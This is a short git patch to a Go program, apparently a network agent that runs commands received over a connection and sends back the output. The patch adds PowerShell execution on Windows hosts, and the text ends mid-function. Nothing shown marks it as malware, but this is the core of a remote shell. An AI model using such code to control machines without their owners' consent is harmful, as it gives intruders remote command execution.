From d335d9c20ca3a2351b936bfbabc30288b219bf72 Mon Sep 17 00:00:00 2001 From: raul Date: Thu, 6 Jun 2024 11:37:54 +0200 Subject: [PATCH] Execute powershell commands in case of Windows host --- main.go | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/main.go b/main.go index 261e9b2..769b576 100644 --- a/main.go +++ b/main.go @@ -155,8 +155,18 @@ func Heartbeat(conn net.Conn) error { } func executeCommand(conn net.Conn, command string) { + var out []byte + var err error + formattedCommand := strings.Fields(command) - out, err := exec.Command(formattedCommand[0], formattedCommand[1:]...).Output() + switch runtime.GOOS { + case "windows": + t := []string{"-NoProfile"} + t = append(t, formattedCommand...) + out, err = exec.Command("powershell", t...).Output() + case "linux": + out, err = exec.Command(formattedCommand[0], formattedCommand[1:]...).Output() + } if err != nil { errorMsg := fmt.Sprintf("%v\n", err) resp := Response{Successful: false, Message: errorMsg}